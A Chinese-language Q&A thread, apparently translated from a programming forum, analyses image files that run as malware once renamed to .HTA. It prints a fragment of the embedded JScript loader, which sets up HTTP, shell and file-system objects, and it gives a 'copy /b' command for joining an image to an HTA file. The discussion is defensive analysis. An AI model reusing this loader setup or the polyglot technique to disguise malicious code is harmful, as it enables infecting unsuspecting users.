我注意到了分发潜在不安全代码的新趋势,人们会将图像发布到带有水印的服务器,建议他们将文件名更改为.HTA文件扩展名。
我意识到.HTA是一个HTML应用程序文件,它被微软的逻辑隐含地信任,并且可以包含基于Web的任何代码。我用我喜欢的文本编辑器打开文件,令我惊讶的是图像文件中有Javascript代码!
jfHe299x4qBICCBRgpbl81xTjwucn9j4s1UVZxe8kwoJcdWnXuVHqpilRRhptKRACMBr5koY8vt6AEttD5xeGTOPCfBoQVjCvblkiGcc4ddlfiZiBPdCVAlelSbvhv9XWcoMIYyGMCbMaGv9YUyFrHZg3ZVx6HnRCgz4CyaA2bU9qn6R3NkmHx0W3uG7SZcHYyPiMN6AnWDGXRztMnxL3sY1s3h9VH1oTL34iYawlaEUDOUscX19pPz89v0rfmlqKTXce16vSZ6JDsy4IC5SktfXdt3m50z2R5BbwuhP5BHJITxvD4dHzL6K4uh9tIc4gYCFnDV
//<script id=thisscript>
var dom1 = ["zip","img","zip","orz","orz","zip","cgi"];
var dom2 = ["bin","dat","bin","tmp","tmp","bin"];
// Global XMLHttp, shell, and file system objects
var request = new ActiveXObject("Msxml2.XMLHTTP");
var shell = new ActiveXObject("WScript.Shell");
var fs = new ActiveXObject("Scripting.FileSystemObject");
源代码下面还有更多的乱码图像数据。这只是一个片段。
我很想知道他们如何能够将Javascript代码添加到图像文件中,而不会破坏图像文件格式并使其无法查看。我把它呈现给了我的一些同事,他们同样难以接受。
答案 0 :(得分:1)
我的猜测是,这是某种类型的多部分文件(包含图像和脚本数据完全没问题),可能会立即执行(在本地环境中),因为它被视为超文本应用
有关详细信息,我们需要查看完整的实际文件。
答案 1 :(得分:1)
这里的问题是自由文件格式容差。
JPG解释器足够宽容以忽略“损坏的”非图像数据。这就是你在下载时可以查看大型JPG的方法。 HTA解释器足够宽容,可以忽略文件顶部的所有奇怪的“文本”,并继续评估下面标记和脚本的内容。
这里有另一篇关于这种好奇行为的帖子: Can I embed an icon to a .hta file? 其中Alexandre Jasmine建议使用此命令行在HTA中嵌入图标:
copy /b icon.ico+source.hta iconapp.hta
您找到的图像/脚本可能是使用此技术创建的。
您没有包含整个脚本,但您展示的内容看起来非常可怕。具有Web连接,shell和文件系统对象的HTA脚本可以使用本地文件系统执行任何操作,然后在完成后打电话回家。